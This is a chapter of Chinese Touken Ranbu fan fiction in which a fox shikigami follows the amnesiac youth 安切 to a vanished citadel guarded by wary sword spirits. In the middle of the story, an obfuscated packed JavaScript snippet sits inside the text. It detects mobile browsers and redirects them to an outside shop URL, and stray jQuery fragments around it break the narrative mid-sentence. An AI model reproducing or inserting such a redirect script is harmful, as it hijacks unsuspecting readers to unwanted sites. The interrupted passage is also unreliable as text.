他还和他说不是审神者!
不是审神者,
又怎么会有时之政府给审神者配备的时空转换器?!
虽然看起来有了时间磨损的痕迹,但他仔细感受发现,时空转换器的核心芯片没有被破坏,还具有基本的功能。
狐之助径直跳上少年的肩膀,直凑过去,“你现在拿着时空转换器,是有了别的狐狸了?才不接受我的邀请!”
小小狐狸的重量几乎可以忽略不计,安切却感觉哪块皮肤隔着衣物凭空生出一些痒意,但他还是忍了下来,回答狐之助的问题。
“你知道这是什么?”
“诶……?你不知道吗?”
狐之助看着少年发愣的脸庞,脸上的迷茫不似作假,那双清冷的眼眸里仿若蓄着一汪浅浅的湖水,透明纯洁到足以让人意识到他没有撒谎。
“你骗我是没有用的!你都会使用它了。”
狐之助晃晃脑袋,将那些不断的诱惑自己的念头抛出脑海,坚定自己最初的想法。
“我把它叫作骰子,你叫它时空转换器?是个物尽其用的名字呢。”
曾经自己借着这个骰子,光顾了很多次相同的历史,并且利用它伪装成不同身份的人类。
安切将那个散发着微弱蓝色荧光的正方形物体,也就是时空转换器举到狐之助面前,“所以,你是知道一些我不知道的事情吗?”
“你真的什么都不知道吗?”
狐之助被眼前这个局面打了一个措手不及,看着少年摇了摇头,关于审神者的一切都不知道吗?
是失去记忆的审神者?
还是……捡到时空转换器的人类?
狐之助看着少年思忖的侧脸,尽管黑色斗篷遮盖住了他的大部分面容。
可借着天对面洒过来的月光,与不知哪个方向吹过来的风,几缕黑色的发丝飘在少年眉眼之间,纤长的睫毛落下小小片阴影,心中那点犹豫似乎伴着游走在长夜的飞蛾逃向了黑暗。
管他是什么情况,这个人类,本狐必定是要拐到时之政府当审神者的了!
狐之助暗暗下定决心,刚要准备动用灵力给这个好苗子上先留下一个印记。
但也在他刚刚抬起爪子的一瞬间,一直沉默着思考的少年给出了新的回应,而这个回应直接让在心里预演好的狐之助手忙脚乱。
“我不知道,但可能有人知道。你和我回家吧,哪里也有吃有喝,我不会虐待你的。”
安切抬手拿起狐之助让他坐在自己手心,另一只手催动时空转换器,在一夕之间一人一狐消失在原地,连同摆在地上的许多小零食。
时空传输隧道里,狐之助把自己的身体蜷缩进少年的斗篷里,抵抗周围时不时反射的剧烈光线。
只是越发靠近少年温暖的怀中,感受着似乎作为人类的炽热体温,狐之助一颗心缓缓地冰凉下来。
几乎是少年催动灵力的一瞬间,他瞬间就意识到了这股深厚灵力的渊源程度,早已超过了他这种统一制作的简单式神。
眼前的少年并非人类。
是他想的太过简单,能够得到时空转换器并且运用催动的,怎么会是凡物!
他根本就没有反抗的余地。
尽管少年之前几番行动温和至极,他的心还是升起一股对强大的畏惧与胆怯。
感受着少年并未嫌弃他的凑近,甚至贴心的将斗篷更加收拢起来,狐之助盯着衣角缝隙溢进来的白光,不禁在这么危险的情况下走了神。
通常情况下,由时空转换器建立起来的通道无比稳定,周围不会有这种刺眼的白光,审神者只要静静等待五六秒就可以到达目的地。
但这只时空转换器显然不是像外表那般简单破损了。
所以导致传输隧道变成这样。
“我们聊得这么久了,我还没有问你的名字?”
狐之助对着狭窄的衣物空间问道。
外面传来少年清朗的声音,“是很久了,”
“我叫安切,你呢?”
安切?这好像一把刀剑的名字。
狐之助怔愣了一瞬,很快回应:“可以叫我十号。”
少年的名字在隧道里传来长久地回响,一直飘在狐之助耳边,安切、安切、安切……
这好像真的是一把刀剑的名字,虽然他的记忆里并未传输除了时之政府应征刀剑之外的信息,但作为一种本能,一种生物趋利避害、感知吉凶的直觉,他好像主动卷进了什么不得了的大事里面。
“马上到了。”
安切贴心的说道,神色也慢慢放松下来。
很快,他们降落在一片迷雾包围之中的庭院前。
“十号,可以出来了。”
安切捧出小狐狸,让他稳稳坐在自己肩膀上。
狐之助对着眼前熟悉的景观睁大了眼睛,感觉胸腔里的心跳都要踊跃的刺破皮肉而出,这不就是本丸吗?!
而且,还是他当初作为新手时促成的本丸之一。
尽管大部分本丸看起来外表一致,在没有审神者用灵力主观调整下的原始状态,很难将他们区分,但是作为一只狐之助,怎么会分不清自己亲手接生的本丸?!!
他转头看向重重迷雾,震惊的意识到就是这片迷雾遮挡了这个本丸,才让当初这个本丸的状态由审神者失踪再被定义为消失。
时之政府管理部的工作人员一致认为这座本丸简单粗暴的消失了,但事实上他现在感受着周遭充沛的灵力,可以直接断定刀剑在这里生活的很好!
门突然开了,打断了狐之助的思路。
“安切,你终于回来了!”
露出一个白色脑袋,鹤丸国永脸上满是喜悦之色,却在看清安切肩上的生物后,眼神一凌。
安切三步并作两步,跑到门前,就被鹤丸国永拉进了家里。
而从狐之助的视角就是,见到了熟悉的刀剑,不过这个鹤眼神不太对啊!
怎么我就被打下来了??
狐之助对着紧闭的大门蒙圈,很快反应过来这里肯定发生了什么,从鹤丸国永的态度来看,他们都很反感自己的到来,而只有安切……
不过,狐之助四下看了看,没有准确的时空坐标点而且自己在休假中怎么可能带时空转换器!!!
好像要完蛋了!!
现在好像就只有进去这一条路了……
狐之助深吸一口气,看着这扇熟悉的大门,没想到再次见到这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109899|195847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不仅没能光明正大的走进去,反而是现在这个处境。
“安切——!安切——!安切——!快来!不要把我留在外面!外面好冷啊!”
被他声声呼唤的安切,刚一回家就发现,家里的人不知为什么都出来了。
平常自己回来后,都是一家人整整齐齐的吃饭睡大觉,赏月喝茶玩游戏,现在一个个板着脸,如临大敌。
好像下一秒就要开启战备状态的样子。
“怎么了,鹤丸?发生什么了?”
安切不安的问道。
作为这座本丸的初始刀,加州清光歪头看向安切身后的大门,似乎是透过这堵有形的墙瞥见了某只狐狸的身影。
“没什么呢,安切。只是见到了一个熟人。”
三日月宗近呵呵笑起来,“真是因果轮回啊,鹤丸殿说了就是当初那只狐之助,既然是安切带回来的,想必不是时政派来的。”
这座本丸建立之初,他作为较早显形的刀剑男士,从一而终的知道事情的发展。
尽管遭受到的虐待也最多,但意外的那些苦痛的过去,似乎没有在他身上留下什么痕迹,反而是云淡风轻的支撑起了审神者失踪后的本丸,支撑到了安切的出现。
安切于他们而言,是最特殊的存在。
伴随他的到来,给这座灰暗的本丸带来了灵力,带来了四季。
本丸外渐渐笼罩了一层白雾,再无时空溯行军的侵扰,一个接一个唤醒了沉睡的付丧神,时间流转在他的身上得到印证,似乎又不是那么明显。
他好像总是那么纯净,像一块诞生之处被埋在土里的钢铁,他们只是碰巧捡起了他。
一片空白的记忆,腰间佩戴的短刀。
本丸里的刀剑敏锐的察觉到了什么,但只是在长久沉默的对视中选择秘而不宣。
如果说没有审神者的本丸就是一片灰暗,刀剑只能静静等待灵力耗尽,化为本体,等待工作人员前来进行刀解的最终宿命。
那,有过人形的付丧神,也宛若学会了人类的感情,又怎么不会希冀摆在面前的那一点美好?
即使作为刀剑,钢铁般冰冷的内心……也会感到痛楚。
安切看着众人一言不发的对视,将从现实带来的东西放到了一边,偷偷地溜达了石切丸的身旁。
宽大的黑色斗篷遮盖了他的身形,可他犹觉不够,往石切丸胳膊间凑。
“没事,好孩子。”
终于在这声安慰中稍稍安定下来。
髭切弯腰靠近,伸出双手捂住了安切的耳朵,他身后的膝丸使了个眼色,安切便没动了,只是呆呆地和髭切对视。
他一直觉得髭切的眼睛很美丽,又很熟悉,像两个跳跃在温泉水面上的光点,总是情不自禁想让人扑上去,沉迷在一片温暖之中。
一众刀剑看到髭切捂住了安切的耳朵,这才开始交谈。
“真是麻烦的家伙啊……那只狐狸。”
一期一振淡淡环顾了一圈,蹲下身来牵起了秋田藤四郎的手。
与此同时,空中传来一阵声音。
“安切——!安切——!……不要把我留在外面……”
可惜,被叫到的安切,听不见了。